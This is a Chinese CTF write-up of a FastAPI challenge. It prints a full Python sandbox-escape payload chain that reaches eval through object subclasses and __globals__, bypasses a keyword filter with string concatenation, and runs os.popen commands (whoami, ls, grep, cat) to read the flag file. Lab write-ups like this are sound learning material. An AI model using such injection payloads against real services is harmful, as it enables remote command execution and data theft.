python

  • 前言
  • fastapi
  • 简介
  • fastapi安装使用
  • 题目
  • 做题过程的payload部分解析
  • 后记


前言

上次做ctfshow的1024挑战杯,发现web题都没见过的题型,因此没有全部记录下来,这次特意对其中一个题进行一个较为详细的记录

fastapi

简介

fastapi是高性能的web框架。他的主要特点是:

  • 快速编码
  • 减少人为bug
  • 直观
  • 简易
  • 具有交互式文档
  • 基于API的开放标准(并与之完全兼容):OpenAPI(以前称为Swagger)和JSON Schema。

fastapi安装使用

大师傅博客 具体的就不多进行赘述了,师傅博客里写的挺好的,这次就是简单的了解半只脚跨进来,以后遇到了难处再进行补充说明。

题目

打开题目

ctf中python常用脚本 ctf python_bc


发现提示fastapi,然后在这个的官网上找到了,对于fastapi,网页会存在自述文档文件 /docs,打开之后发现

ctf中python常用脚本 ctf python_bc_02


发现了一个端口,需要post参数q来执行,所以看大佬的博客尝试post了一个python有返回值的函数

{"res":"yoyo","err":flase}

ctf中python常用脚本 ctf python_全局变量_03


所以在这里可以尝试进行ssti,具体思路,在上一篇已经说过了一些python里的方法,所以思路就是进行逐个尝试,最后进行搜索,读取指定文件的内容来获取flag

对于这些方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

所以首先构造payload:q=str(''.__class__)得到

ctf中python常用脚本 ctf python_bc_04


接着依次构造

q=str(''.__class__.__mro__[-1])
>>{"res":"<class 'object'>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189])
>>{"res":"<class 'warnings.catch_warnings'>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__)
>>{"res":"<function catch_warnings.__init__ at 0x7fad291ef5f0>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al'])//注意这里存在了一个过滤,过滤掉了eval,所以采用python里的字符拼接进行绕过
>>{"res":"<built-in function eval>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("whoami").read()'))
>>{"res":"root\n","err":false}
//到了这里,基本上就做出来了,可以进行查找等操作了
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ls").read()'))//这里同上,进行了过滤,采用字符拼接进行绕过
>>{"res":"main.py\nstart.sh\n","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("grep flag main.py").read()'))
>>{"res":"        hint = \"flag is in /mnt/f1a9,try to read it\"\n","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("cat /mnt/f1a9").read()'))
>>{"res":"flag{787c8b2b-da0d-457e-b7a5-04f1acfebceb}\n","err":false}

得到flag。

做题过程的payload部分解析

对于上面的一串子payload,有的已经说明过了,对于一些没说明过的,在这里进行一下简单的说明,防止以后自己忘了。【手动滑稽】

print(globals()) # globals 函数返回一个全局变量的字典,包括所有导入的变量。
os.popen()//用于从一个命令打开一个管道。在我理解就是,执行一些系统命令,比如ls cat 等
grep //对于这个就不用多说了吧,Linux命令,用于查找某些符合条件的字符串

后记

这一篇就是一点简单的记录,没办法与那些大师傅们的博客比,就是为了自己现在学习,怕忘记了。